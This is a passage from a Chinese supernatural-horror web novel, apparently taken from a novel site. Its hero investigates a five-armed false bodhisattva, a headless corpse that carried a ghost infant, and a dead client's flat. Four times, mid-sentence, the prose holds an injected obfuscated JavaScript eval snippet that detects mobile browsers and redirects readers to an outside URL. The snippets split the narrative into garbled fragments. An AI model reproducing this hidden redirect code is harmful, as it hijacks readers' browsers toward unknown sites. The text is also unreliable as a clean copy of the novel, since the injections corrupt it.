“允。” 四周的一切都颠倒错乱起来,他看见跪地叩拜的夫妻、看见熊熊燃烧的香炉、看见有人双手举过头顶,奉上包于油纸中的鲜红肉块—— 最后,定格在了菩萨点于他眉心的手指。 …… “林书渝、林书渝!” 指尖传来钝痛,黑发青年条件反射般眨了眨眼睛,涣散的瞳孔逐渐聚焦,倒映出了泥偶那张简笔画的脸。 见他终于清醒过来,泥偶松了口气,还没来得及说些什么,位置就被人面狗所顶替。 “呜!”面面焦急地钻入主人怀中,不断用头顶摩蹭林书渝露出来的皮肤,感受着他好不容易回归正常范畴的体温。 林书渝艰难地抬起手来将狗环住,一下一下顺着它的背。泥偶重新找了个合适的位置,两颗豆豆眼认真地与青年墨色的眼瞳对上。 “你看见了什么?” 林书渝垂眸,若有所思地抚上自己的眉心,那轻微的刺痛感似乎还停留在那处皮肤上。 “看见了这地方真正供奉的东西。” 他的话音刚落,泥偶的豆豆眼滑稽地放大了几分。 全身的骨头都在隐隐作痛,林书渝将自己上半身撑起来,靠着贡台坐着,显然还没完全缓过来。他将抱着狗的手臂收紧,沉默片刻,像是经过了一番严肃的、认真的思考: “老板,这个能算在人身意外险里吗?” 泥偶的嘴角顿时拉成了一条直线:“你刚刚就只是在想这个?” 林书渝坦然地点了点头:“这很重要。” “……算,回头我给你打三倍委托费补偿。”泥偶认命般叹了口气,没忘记补充一句,“加起来七位数左右。” 林书渝的肩膀瞬间放松下来,整个人懒洋洋地趴到了人面狗的身上。走廊上的红光已经消失不见,只剩下伸手不见五指的黑暗。 过了一会,林书渝忽然开口问道:“我姐姐的皮呢?” “在这呢。”泥偶侧身,示意他去看一旁的铜镜上放着的几块碎片,“缝一缝应该还能用吧?” 林书渝绝望地闭上了眼睛:“姐姐会杀了我的……” 林昭一直待在镜子里缝东西难道是她喜欢吗?当然不是。是因为每隔两个月林书渝就会不小心毁掉一张皮。而且,这也代表着林书渝又钻到了某个危险的地点,甚至性命堪忧。 “别担心,你姐姐肯定能体谅你的,毕竟这是意外嘛。”泥偶试图安慰。 林书渝睁开眼,望着他的眼神中带着几分幽怨,好心提醒:“比起我,你更应该担心一下会不会被我姐姐变成一地拼接式益智玩具。” 俗称被打成和拼图一样碎的薄片。 泥偶:“……” 暂时淡忘可能会爆发的家庭战争,林书渝在四肢的力气重新回归后从地上站起,盯着牌位上的字迹看了又看。手写的字体晕开一团又一团墨渍,像是有谁不小心将其扔进了水里。 方才在恍惚中看到的名字还烙印在脑海中,林书渝指尖划过牌位表面蜿蜒而下的水痕,抿了抿唇。 那不会是自己的错觉——林书渝敢肯定这一点。 “有什么神长着菩萨的样子,却有五只手?” 听到这个问题的泥偶疑惑地扭过头来:“五只手的菩萨?你是说你看见的那个东西?” 林书渝点点头,想了想,又补充了个特征:“有一只是从脊骨那里长出来的,很长,可以屈起来按在头顶——就像这样。” 黑发青年把手放到头顶,努力模仿那尊菩萨第五只手的样子。这样一试,他还发现那尊菩萨的手指估计要比正常人类长个两倍,不然没法扣住整个头顶的情况下指甲还能刚好落到额头位置。 泥偶面露嫌恶:“正神不可能是这种邪异模样。就算是法相也只可能是双数的手臂,更别提第五只长在脊骨上。” 林书渝把手放下,若有所思:“所以是邪神了。” 也对,光看那寄生在无头尸里的鬼婴就知道不会是什么正派神仙所为。 “说是神或许还抬举了祂们,不过是骗了点香火的精怪,顶着副菩萨样净干些伤天害理的事。”泥偶落到他的肩头,线条组成的嘴变成一个向下的半圆形,“回头我让主魂查查委托人的底细,这明显不是简单的调查任务。” 面面也跟着低吼了几声,脸上满是愤懑。林书渝安抚性地揉了揉狗头,走向了自家姐姐的皮……的碎片。 铜镜已然一片斑驳,失去了行动力的皮化为了柔软的布料。林书渝拎起来比划了一下,在发现这几块碎布加起来还没手掌大之后又默默放下了。 “工作室有据点吗?”林书渝试图垂死挣扎,带着些许期盼问道,“我觉得我可以暂住一晚。” “很遗憾,由于工作室的工作时间、内容都极其多变,再考虑到各位员工对自由度的追求——没有。”泥偶笑嘻嘻地打破了他的期盼。 黑发青年肉眼可见的心情低落下来,忧愁地叹了口气。泥偶拍了拍他的肩膀:“不过,我有一个提议,你要不要听一下?” 林书渝看向他,眼里又染上了几抹希望。 泥偶飞向门口,在昏暗的走廊前晃了晃:“你把无头尸带回去,就说是自己的战利品。这样一来,你姐姐的自豪感一定可以压过怒火!” 林书渝做了个深呼吸,到底没有把白眼翻出来。但这也提醒了他有件事还急需验证,便顺着泥偶的话走向了走廊。 “无头尸呢?” 一分钟后,在人面狗的带领下,林书渝见到了无头尸的残骸。原先就缺三漏四的干枯尸体这下变成了七零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152191|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八落,两条手臂现在只剩下半只,松松垮垮地挂在身上。 饶是看过许多大场面的林书渝都忍不住默然半晌:“……这也太凄凉了。” 不过也是,两个全凭本能行动的怪物也不可能打得多文雅。 比起飞到不知哪去的四肢,无头尸的躯体还算完好。林书渝用一根手指挑开黑黄相间的破布,定定地看着那被破了个大口的腹部。 从心口往下的位置开始撕裂,一直蔓延到下腹位置;边缘有明显的撕裂痕迹,暂时无法辨别是从内部还是外部施力…… 手机的光线靠近,将空荡荡的内腔照得一清二楚。林书渝向后伸出手,人面狗顿时心领神会地将一根木条放到了他手里。 腐肉被搅动的粘腻声音响起,证实完自己心中的猜想,林书渝颇为嫌弃地甩了甩木条上的污渍,说出了结论:“右腹有一条明显的切割痕迹,看边缘位置的颜色与形状,应该是一年前被利器割开的。” 算算日子,居然真的符合十月怀胎的规律…… “谁会让一具尸体孕育鬼婴?”林书渝喃喃自语,“真是奇怪……” 视线上移,在那只剩半截的脖子映入眼帘时,林书渝一怔,脑海中忽然闪过一张照片——被蒙上白布、端放在桌上,却无故失踪的头颅。 下一秒,在泥偶与人面狗震惊的注视下,黑发青年一边沉思着一边将头向无头尸的腹腔靠近,额头几乎要和那些胀液陈血混杂在一起的腐肉贴上。 “汪!”人面狗直接被吓出了一声极为响亮的标准狗叫,飞扑上去死死咬住了林书渝的后颈,把人硬生生扯了起来。 林书渝一脸茫然地扭头:“面面?怎么了?” 面面不语,只是相当倔强地不松嘴。 “什么怎么了?你不记得你刚刚在做什么了?”泥偶还没从方才的震撼一幕里回过神来,尾音都在颤抖。 对上两双写满了震惊与不认同的眼睛,林书渝这才后知后觉自己刚才的动作在正常人眼里似乎是有些难以接受,便恍然大悟般“啊”了一声。 “不好意思,但这里也没别的测量工具了。” 再说了,直接把相同的东西放上去比划也更方便准确点。 泥偶一时失语,过了好一会才能把话接下去:“那你就不能拿个东西当对照物吗?非要拿自己的头去碰脏东西?” 林书渝思索片刻,欣然接受了这个建议,拿起了一旁的消防斧,将手柄举到与下巴齐平的位置。 “你说得对,这样也……” “咣当!” 油桶倒下的巨响从楼梯口处转来,在无头尸前的三个生物同时转过头去,对上了一张惊慌失措的脸。穿着白衬衫的文弱男人擦了擦额头上的冷汗,默默朝门后挪了两步。 “打,打扰了。” 他干笑着,视线在无头尸、人面狗、飞在半空的泥偶和黑发青年沾着碎肉的斧头之间快速闪动,声音越来越虚弱。 “您继续,继续,哈哈哈……” 9. 徐教授 望着这位不速之客,林书渝表情毫无波澜,将斧头放下,垂眸低声唤道:“面面。” 下一秒,白色的影子如离弦的箭般冲了出去!伴随着一声惊叫与重物落地的沉闷声响,文弱男人便被人面狗死死压在了地面上。完美完成任务的人面狗从喉咙里挤出象征着愉悦的咕噜声,满脸写着期盼地望着自家主人。 “乖狗,去,去……”文弱男人勉强用手肘撑起上半身,压低了声音试图自救,结果抬眼就看到了那把逐渐靠近的斧头,像突然熄火那般哑了声。 散发着恶臭的碎肉沿着斧头的表面滑落,刀刃边缘部分有几处不太明显的缺口,光是看着就能联想到方才这把斧头到底参与了怎样的一场恶战。 黑发青年撑着斧头蹲下,额头上的刮伤还在往外渗着血珠,一滴又一滴,和凝固的血块混杂在一起。他垂眸,看向那双藏在镜片后面不住颤抖着的眼睛。 “你都看见了。”在经过短暂思考后,林书渝慎重的选择了使用这句话作为开场白。 文弱男人顿时紧张起来:“没,我什么都没看见,我视力不好……” “可是你戴眼镜了。”林书渝下意识扬起手去示意,却一时忘记了自己手上还有把斧头。暗红的尖端猛然朝男人的鼻梁靠近,正正好悬停在眼镜框前,差一点就要深深卡进对方的鼻梁里。 一道微不可查的抽气声响起,林书渝后知后觉地“啊”了一声,把斧头换到了左手,诚恳道歉:“抱歉,我忘了手里还有东西。” “没关系,不是你的错。”文弱男人不动声色地向后挪动几厘米,“是我一不小心靠太近了。” 他这番话相当不符合逻辑,带着几分小心翼翼的讨好,但可惜的是,在场没有一个人想去探究他话语中的深意。林书渝瞥了眼他身上与这幅场景格格不入的正装,继续问道:“你来这里想做什么?如果我没猜错的话,你不是探灵博主。” 或许会有探灵博主选择身着特殊的服装来博人眼球,但正装明显不在“奇装异服”的范围内。而且,对方也没有携带任何摄影器材。 那么问题来了——有谁会在工作日下午穿着正装跑来废弃闹鬼酒店? 文弱男人面露难色:“这件事有些复杂……” 林书渝默不作声地将斧头往前拿了些,这个举措立杆见影,文弱男人脸上的难色如冰雪般消融了。 “虽然复杂,但也不是不可以简化——先生,可以把斧头挪远些吗?” 林书渝演技很差地流露出几分惊讶:“啊,抱歉,它不知道怎么的就跑前面来了。” 男人的笑容有点勉强:“没事,没事,哈哈哈。” 经过一番短暂的波折,这场对话终于得以继续平和地进行下去。文弱男人叹了口气:“我姓徐,是个大学教授,专业是民俗学。” 林书渝回忆了一下当初系里教授们的作风,合理猜测:“所以你是来取材写论文的。” 徐教授:“……不是,我有别的原因。如果可以的话,能劳烦你的狗将我松开些吗?” 这个要求不算过分,林书渝点点头,让面面的爪子从按着徐教授的背改为按着腿。 “我之所以来这里,是因为今天早上收到的一条短信。” 徐教授艰难地从口袋里掏出手机,点开了短信界面。对面发来的消息铺满了屏幕,却只是一味重复着同一句话: 【老师,我在兴成大酒店。】 发件人是一串乱码,只不过看后面徐教授的回复内容,应当一开始并非如此。林书渝粗略浏览了两遍,目光在[吕明远]这个名字上停顿三秒,将手机推了回去。 “你认识吕明远?” 徐教授有些惆怅:“他是我的学生,我们专业人少,彼此关系也就近些。从他出事到现在,我都一直留着他的手机号。所以,在收到短信的时候我才那么难以接受。” 他顿了一下,补充道:“一开始号码显示还是正常的,直到一个小时前才突然变成了乱码。” 林书渝这才想起来看一眼时间,在推算了一下自己昏迷了多久之后,感觉自己已经接近真相:“我想我知道原因……你接着说。” 徐教授被他这没头没尾的一句话搅得一头雾水,但还是迟疑地接着说了下去:“当初明远的父母伤心过度,注销了明远的一切社交账号,包括手机号。我在收到短信后也试过回拔,显示是空号,不可能是恶作剧。” “确定不是恶作剧你就直接来了?”林书渝歪了歪脑袋,由衷道,“你真不怕死。” 徐教授的笑越发苦涩:“是,我现在也觉得自己太莽撞了。” 林书渝为他懂得反思的品质赞许地点了点头,虽然能感觉到对方的后悔情绪有一部分针对的是自己。 察觉出青年的态度有所松动,徐教授带着几分期盼开口:“我会保证一个字都不说出去——所以我能走了吗?” “稍等。”于男人的注视下,黑发青年掏出手机,当着他的面打开了搜索界面,打下一个[徐]字后停住了。 “徐霖。”徐教授很有自知之明的报上了全名。 林书渝补上这一个字,按下回车键。很快,有关于徐霖这个名字的词条就跳了出来——确实和对方之前说的一样,是一所本地大学的民俗学专业教授。他跳转有关这所大学的词条,第一个就是兴成大酒店凶杀案的报道。 “原来你真是大学教授。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152192|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林书渝关闭搜索页面,语气是货真价实的惊讶。 他很难想象一个受过高等教育的成年人收到死去学生的短信后第一反应是跑来赴约,这让他感到整起事件越发扑朔迷离。 徐霖感到了十足的冒犯,但他还是很耐心地重复了一遍:“是的,你点进学校官网里还能看到我的照片。这样可以说明我不会说谎了吗?” “理应来说是的,但我这个人生性多疑。” 林书渝将手机备忘录打开,递到徐教授面前。 “你的联系方式和详细地址。如果你违背了自己的承诺——我会让我的家里人去找你。” 他没有多说关于“家里人”的构成,因为一条人面狗就足以说明很多事。徐霖忍辱负重地写下了两行信息,连后头给自己发短信的“好学生”都不敢多看,一瘸一拐地离开了这个是非之地。 林书渝目送着他的背影消失在楼梯口,随手把消防斧丢到了角落里,开始收拾东西。 “别告诉我你真的信了。”泥偶落到他的肩膀上,“他说谎的痕迹很重,你应该能看出来。” 林书渝把背包拉链拉上,有些不舍地看了眼消防斧的位置,抽空回答:“确实,他平时应该不怎么干这种事,漏洞还是太多了。” 民俗学的宗旨是常怀敬畏之心。就算遇到了非自然现象,应当尽量远离,而不是像个恐怖片主角那样直接往危险的地方冲。 如果林书渝之前的同学和教授们都像徐霖这样,那他拍毕业照的时候应该会很孤独。 泥偶转到他面前去:“那你还把他放走了?” “不然呢?杀人灭口?”林书渝困惑地看了他一眼,“现在是法治社会。” 泥偶被他噎了一下:“……可也不能这么草率吧,最起码留个把柄。” “有地址就够了,姐姐能找到他的。”林书渝语气平和,示意人面狗跟上自己的步伐,“而且,人和人之间的缘分都有定数。” 他的直觉告诉他——以后,徐霖还会和他见面的。 …… 从楼梯间里捡了个自拍杆和报废的摄像机,林书渝光明正大的顶着一身灰和血渍踏上了回家的道路。来来往往的路人不由自主地向他投来惊恐的目光,然后在看到他手上的摄像机时又默默松一口气,自以为得到真相地移开目光。 对下班的急切心情使林书渝提着重达七十斤的狗包依旧健步如飞,只不过在他终于站到家门口时,却是踌躇着停下了脚步。 林书渝面色凝重地望着从门缝里冒出头来的红绳,开始默默在包里摸索。 “老板,我出门前带身份证没有?” ——他突然觉得今晚住酒店也不错。 10. 有钱能使鬼推磨 令人难过的是,林书渝并没有出门携带身份证的好习惯。从门缝里伸出的红绳等了好几分钟也没见他开门,有些不耐烦地缠上了他的手腕,彻底中断了林书渝的逃跑计划。 “姐姐……有点痛。”林书渝发挥能屈能伸的品质,放软了声线,另一只手悄悄捏住了红绳后段。 红绳肉眼可见地顿了一下,随即松开了些,让林书渝得以抖抖手腕就把自己解救出来。还没等他庆幸多久,门锁就传来咔哒两声。院门大开,地面上蜿蜒的红绳自动朝两边退去,空出一条康庄大道。 在这种情况下还想跑就真完蛋了。从小到大的教训让林书渝对这一幕有着无比清晰的认识,怀着沉重的心踏进了院子。 面面很敏锐地察觉到了几分不妙的气息,默默将自己塞回了狗窝里。泥偶也在红绳出现后一动不动,假装自己是团空气。 一瞬间“众叛亲离”的林书渝在红绳的牵引下来到镜子,深吸一口气,露出了这辈子最乖巧的笑容。 “姐姐,我回来了。” 镜面没有动静——这并不是个好现象。 林书渝大脑飞速运转,调动毕生所学让自己脸上恰到好处流露出失落:“姐姐,你在生我的气吗?” 这招向来百试百灵,果不其然,伴随着镜面上泛起圈圈波纹,一根青白的手指从中伸出,带着几分无奈戳上了青年的额头。林昭没有收力道,这一下子差点让林书渝像个不倒翁那样一个后仰。 他有些幽怨地捂住发红的额头,对着镜中终于浮现的身影唤道:“姐姐。” 林昭的椅子放得很近,几乎要与镜外的林书渝来个面对面。他从进门开始就唤了好几声的姐姐正站在一树的红绳里,手里拈着几块熟悉的碎布,认真选择缝合用的红绳。听到呼唤,她冷笑一声,没有回头。 “这次又跑到哪玩了?” “不是去玩,这次是工作需要。”林书渝试图让自己的行动多点正当性。 “我知道,皮收回来的时候我能看到在外面发生的事。”林昭停下手中的动作,叹了口气,“之前你就天天和鬼打交道,现在你找了这个工作,更是主动往鬼窝里冲了。” 林书渝报出了那个令人无法拒绝的数字:“可是姐姐,他们给我五十万的月薪。” “……这个我当然也知道,不然你以为我怎么没有叫你辞职?”林昭半是无奈半是无语地发出叹息,从树上扯下一段肉色绸缎,甩出镜面。 林书渝稳稳接住镜鬼的新皮,那怕隔着一层袖子都无法阻挡那种阴冷的气息攀上皮肤,渗入骨缝。 “下次出去把念念和青蛙带上。”留下这句话,镜鬼就干脆利落地关上了“房门”。 客厅中盘踞的红绳逐渐退开,隐入墙面中消失不见。林书渝松了一口气,小心翼翼地将那张薄如蝉翼的皮折成手帕大小,放进背包夹层的小镜子里。 泥偶从口袋里探出头来:“你姐姐就这样放过你了?” 林书渝瞥了他一眼:“听过一句话没有?有钱能使鬼推磨。” 而正巧的是——他们一家都是鬼。 泥偶:“……那你之前在怕什么?” “喔,这个啊。”林书渝推开自己房间的门,“我没想到金钱的力量如此之大,还以为姐姐会关我禁闭。” 现在他真切地见识到了古人的智慧,俗语诚不欺他。 泥偶欲言又止,止言又欲,最终只化为一句:“你们真不愧是一家人。” “谢谢夸奖。”林书渝平静地认下了这句“夸赞”。 血渍和尘土还紧紧扒在他的皮肤上,忍了一路的林书渝几乎是迫不及待地冲进浴室里,彻底把自己收拾好后才放松地走了出来。 “有关于那个委托人的调查有结果了吗?”黑发青年坐到电脑桌前,一边擦头发一边对着桌上的泥偶问道。 “本体还没有传信过来。”泥偶左右晃了晃,“要我催一催吗?” “不必了。”林书渝回忆起导师耳提面命的职场生活小技巧,婉拒了这个提议,转而自己打开电脑,熟练地输入了一串网址。 屏幕上顿时蹦出个充斥着学术风味的页面。但若是仔细一看,就会发现里头论文的标题都是一个主题: 【[资料]五肚神起源地的实地考察记录】 【[硕论]泰山求子习俗的起源与发展】 …… 无一例外,都是民俗学相关的论文。 感受到泥偶投来的好奇目光,林书渝抽出几分注意力给他解释:“这是我们专业的某个博士生学姐留下的程序,能自动整理相关论文链接,点击标题就能直接跳转到源网页。” 写毕业论文时这个网站就帮了他很多,没想到毕业之后还会用到。 泥偶很快就猜到他想干什么:“你想查那尊东西的资料?这种邪神很少有人研究,你不一定查得到。” 林书渝没有回答,只是切换成搜索作者的模式,打下了一个名字——徐霖。 哒。网页跳转,数十篇论文罗列在屏幕上。林书渝滚动滑鼠,光标在一个标题上停住。 【[杂谈]有人愿意看看我的论文吗?总觉得少了点什么】 光标后方,源网址被详尽地标注出来。林书渝顺着链接点进去,看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152193|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了不算陌生的论坛页面——这是个民俗相关的实名论坛,在民俗学界知名度很高。 这篇帖子被网页抓取到并非是没有原因的,发帖人的灰色头像后头是明晃晃的“徐霖”两个字。无论是哪个年代,实名制上网都是稀罕事,很快就有好心人在帖子下方聚拢。 林书渝点击[只看楼主],滑到了最下方。徐霖在接收各方建议后不负众望,成功完善好了论文,还很守信地将终稿发了上来。论文主题很简单,是研究某一地区的特色信仰,只不过举的例子却有些不同寻常: 【信仰大多萌发于欲望,而对于上个世纪的人来说,生育与家庭和睦就是他们主体欲望。在这种迫求下,新的信仰诞生——七玄元显菩萨(当地人也称叁耘神)开始成为当地的主流信仰。】 【值得探究的是,七玄元显菩萨的形象并不同于寻常菩萨的模样,而呈现出一头五臂的法相。笔者认为,这或许是受到了佛教的影响……】 有关于七玄元显菩萨的详细描写并不多,后面基本都是一笔带过。林书渝一目十行地扫过文字,很快就读到了末尾感言部分。徐霖很有耐心地将提供帮助者的id都罗列了出来,在最后还特别感谢了一个名字。 【最后,多谢我的朋友吕士升慷慨地为我提供许多七玄元显菩萨的信息,他的虔信度值得敬佩。】 吕?这个姓氏在一个小时前才在林书渝眼前出现过,让他不由得多留了几分心。还没等他开口,泥偶就主动凑了过来,叫停了他的动作。 “等等,先别划走。”泥偶落到林书渝的手背上,认真凝视着屏幕上的名字,“这个名字……他就是这起任务的委托人。” 林书渝动作一顿,退出[只看楼主]界面,在茫茫回复之中找到了疑似吕士升的账号。对方显然是这个论坛的活跃用户,时常在各种帖子底下提供建议,但在今年五月忽然消声匿迹。 “是他吗?” “是他,ip和头像都和他在另一个平台上的一样。”泥偶笃定地说道。 吕士升的头像是一张俯拍图,画面中央是堆满了蛋的鸟巢,明显不是网图。林书渝又在他主页转了两圈,有些遗憾地发现这个论坛没有私信功能。 “徐霖果然和这件事有更深的联系。”林书渝将这两个帐号加入关注栏,看着他们的主页陷入沉思。 吕士升,吕明远……这个姓氏在当地并不常见,两者之间或许会有血缘关系。 但这个问题注定无法在今天得到解答,林书渝看了眼暂无消息的邮箱,关闭所有页面,拖着沉重的身子倒到了床上。 无论如何,先睡一觉吧。 11. 有人来了 凌晨一点,漆黑的房间中忽然多出了一抹光来。微弱的吱呀声响起,窝在被子里的黑发青年看了眼手机屏幕上的数字,慢吞吞地抬手抹了抹额头——不出所料碰到了一片湿冷。 瞳孔还维持着紧缩状,头皮泛着阵阵麻意,就连四肢都僵硬不已。很显然,他的大脑还没能从梦魇中回过神来,不断输出名为恐惧的情绪因子。 林书渝静静地躺在床上当一条咸鱼,等四肢终于回温后才艰难地支起身子去够床头柜上的纸巾。纸巾盒忽然往前挪了几厘米,一只泥偶从后面探出头来。 “做噩梦了?” 林书渝擦掉额头上的汗珠,语气平静到带了几分死意:“被盯上了。” 请神容易送神难,虽然不是他请的神,但那位七玄元显菩萨还是一视同仁地缠上了他,在梦中坚持不懈地要将他渡化。 想到这里,他叹了口气,只觉得后背又开始一阵幻疼。 “它对你做了什么?”泥偶看清了他过分苍白的脸色,语气急促了些,飞落在他的床上。 林书渝其实不是很想回忆,但还是精选了几个片段说出来:“把我的肚子像鱼那样剖开,用指甲挖掉我的脊柱,试图给我的额头挖个天眼……比较有特色的就这些吧。” 别的就有些老土了——最起码他一点也不怕鬼婴。那群鬼婴围着他时他只想到了自家不省心的弟弟。只不过那片冰冷的红指甲从胸口一路划到他的肚脐时,他还是忍不住担心了一下自己肚子里会不会被塞个鬼胎。 幸好,这场梦里没有这个环节。 “……”泥偶朝他靠近了些,柔软的斗篷下摆扫过他的手背,有点痒。林书渝有些恍然地发现自己手指的颤抖消停了下来。 “你需要一点柳叶水。” “不用,过一会就好了。”林书渝摸索着打开台灯,在光线将自己笼罩后做了个深呼吸,平静下来,用与平时别无二致的语气问道,“调查有新进展了吗?” “有,我刚想叫醒你。不过,你要做好心理准备。” 林书渝与那双黑豆眼对上,听到了一个意料之外,却在情理之中的消息—— “吕士升死了,就在三小时前。死之前切断了我们安置的监探装置,具体死因还不明朗。本体已经更改了任务信息,有位同事正在赶来的路上,预计天亮时就能到达。” 林书渝点点头,在心里为这位未曾蒙面的同事创建一个空白文件夹,翻身下床,去够放在椅背上的外套。 泥偶还在喋喋不休地交代信息,看见他的动作时顿了一下:“接下来还是调查任务,你的同行者性格还算不错……等等,你要出门?” 林书渝已经干脆利落地将自己收拾好了,很随意地点了点头:“反正也没法接着睡。吕士升的住址呢?” 他的态度实在太过理直气壮,险些让泥偶宕机,过了好几秒才反应过来:“现在是凌晨一点!” “我知道,所以这算是加班。”林书渝一本正经地回答,“而且,目前应该没什么比我的梦更危险的了。” 既然盯都被盯上了,俗话就光脚的不怕穿鞋的,现在他就是那个脱了鞋的人。 泥偶似乎被他的理念震住了,半晌才接着有些苍白地规劝:“两个人一起去更稳妥——” “我带念念,也算是两个人。”林书渝已经收好了包,说到这时想了一下,改口道,“一人一鬼。” 积极要求加班的打工人与老板进行了一场激烈辩论,最终成功胜出,拿到了加班的权利。泥偶把自己塞到背包夹层里生闷气,林书渝没理会他,转头在客厅的神龛上敲了三下。 黏腻的摩擦声响起,腹部鼓鼓囊囊的青蛙从罐子里钻出来,灰白的瞳孔滚动,隐约可以看见包在薄膜里的细小手指。 林书渝伸出手,让青蛙跳到自己的手掌上。鼓胀的粘膜与皮肤贴在一起,有点恶心。 “呱!”青年空出的另一只手用力捏住了青蛙的双腮,一条肿胀的舌头顿时滑了下来,露出后方被遮住的喉口。林书渝眯起眼睛朝里看去,在看见蜷缩着安然入睡的鬼婴后松开手,将一大只青蛙反手丢进了背包里。 原先还算空荡的背包肉眼可见的下坠了几厘米,青蛙的右眼伸长从缝隙中伸出来,像是潜水艇的瞭望镜。 林书渝颠了颠背包,打开手机,勾除了备忘录里的最后一个选项。 两个打手,带上了。 出行前的准备全数完毕,林书渝从车库里取出自行车,开启了长达一个半小时的骑行。吕士升的住处是栋略显老旧的居民楼,楼下的声控灯完全成了摆设,林书渝把自行车直接推进楼道里时也没一点反应。 “那个委托的报酬是多少?”林书渝扫过墙上斑驳的小广告,问道。 "二十万整。”泥偶从背包里探出头来,“工作室只接受一次结清,吕士升给钱时很爽快。” 住在这种地方的人经济能力不会太好,能心甘情愿一口气掏出二十万现金……说明对方所遇到的麻烦已经迫在眉睫。 “接委托时工作室不会进行资产评估吗?” 泥偶道:“一般不会。你知道的,在面临生死大事时,人类的账户总能挤出意想不到的财富。我们工作室只负责解决委托,委托内容外的后果由委托人自负。” 这番话听上去有些冷血,但也是某种约定俗成的规则。林书渝点点头表示理解,然后切换为打工人的心态吐槽:“好冷血,希望对员工不这样。” “……你说这话会显得我六小时前往你卡里打的一百三十万很没有存在感。” 林书渝突然又改变了对工作室的看法:“当我刚刚那句话没说。” 任何人的血液都会因为一百三十万而暖起来的,他现在觉得工作室的制度简直温暖人心。 虽然能拿出来二十万,吕士升的屋子却一点也看不出他有这么一笔不小的财产。林书渝用铁丝将门撬开,刚推开了条缝隙,一股潮湿的味道就扑面而来,伴随着下水道的酸臭味。 林书渝眉头紧锁,用袖子掩住鼻子,将门彻底推开——客厅里空荡荡,家具都被包起来放到一旁,只留下沙发和一张折叠桌。看上去,房子的主人有搬家的打算。 他左右看了一圈,在墙角处发现了工作室安装的监控装置。小小的泥偶被一分为二,躺在黑暗处的样子竟还有几分可怜。 “吕士升定下这个委托时有没有别的交代?” 泥偶晃了晃脑袋:“没有,只是要无头尸的照片和信息,付完款之后就没再说过话。” 林书渝沉默了一会,开口道:“你觉得,吕士升为什么会需要无头尸的照片?”准确来说是吕明远的照片。 “如果你让我回答的话,我的答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152194|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案是不知道。”泥偶的语气有点无奈,“我一直在跟着你呢鱼鱼,知道的不比你多。” 林书渝没有说话,只是叹了口气,失望的情绪溢于言表。还没等泥偶接着为自己辩解几句,就看见他直接推开了第一个房间门。 尘土和霉味一起卷席而来,在看见那座还没拆完的神龛时,林书渝挑了挑眉。 今天运气不错,一下子就抽到了“大奖”。 吕士升也不知道是想把神龛也一起带走还是如何,木板已经拆了一半,勉强能在脑海中勾勒出原来的样子。神龛的结构和他家里的类似,只不过供神像的地方多做了个凹槽,看形状,正好可以卡进人的一只手。 林书渝用手指在供台上抹了一把,望着手指上厚厚的一层灰尘,若有所思地说道:“吕士升应该从两个月前就开始停止使用这个神龛了。” 而这个时间也正好能和他在论坛上消失的时间对上。 线索一个接着一个连上,林书渝合理怀疑这座神龛里本来还有一尊七玄元显菩萨。于是他蹲下来打开下面的柜门,在看到空荡荡的内里时露出了遗憾的表情。 好吧,没有办法让老板也看看菩萨的尊容了。 除了神龛和堆在墙角的垃圾袋,这间窄小的房间里就没有别的摆设。林书渝秉承着敬业精神将垃圾袋上面的结解开,刚松开手,成团的油纸和香烛就从里头哗啦啦地滚了出来。他随手捡起一张油纸展开,看见了残留的大块血渍——如果没猜错的话,这张纸上应该放过生肉。 “这尊菩萨还挺爱吃肉的。”林书渝想起酒店里铺天盖地的油纸,发出了纯粹的感叹。 “……你那时候的比喻还真没错。”泥偶的语气有点复杂,“那些油纸确实是用来包肉的,无头尸就是它的贡品。” 林书渝谦虚道:“谢谢,我的直觉一向很准。” 第一个房间已经探索完毕,接下来就是卧室。就像是人在脆弱的时候总会想回到床上,吕士升也选择了在床上死去。浓郁的血腥味直冲鼻腔,林书渝快步走上前,一把掀开了那床被血浸透的被子。 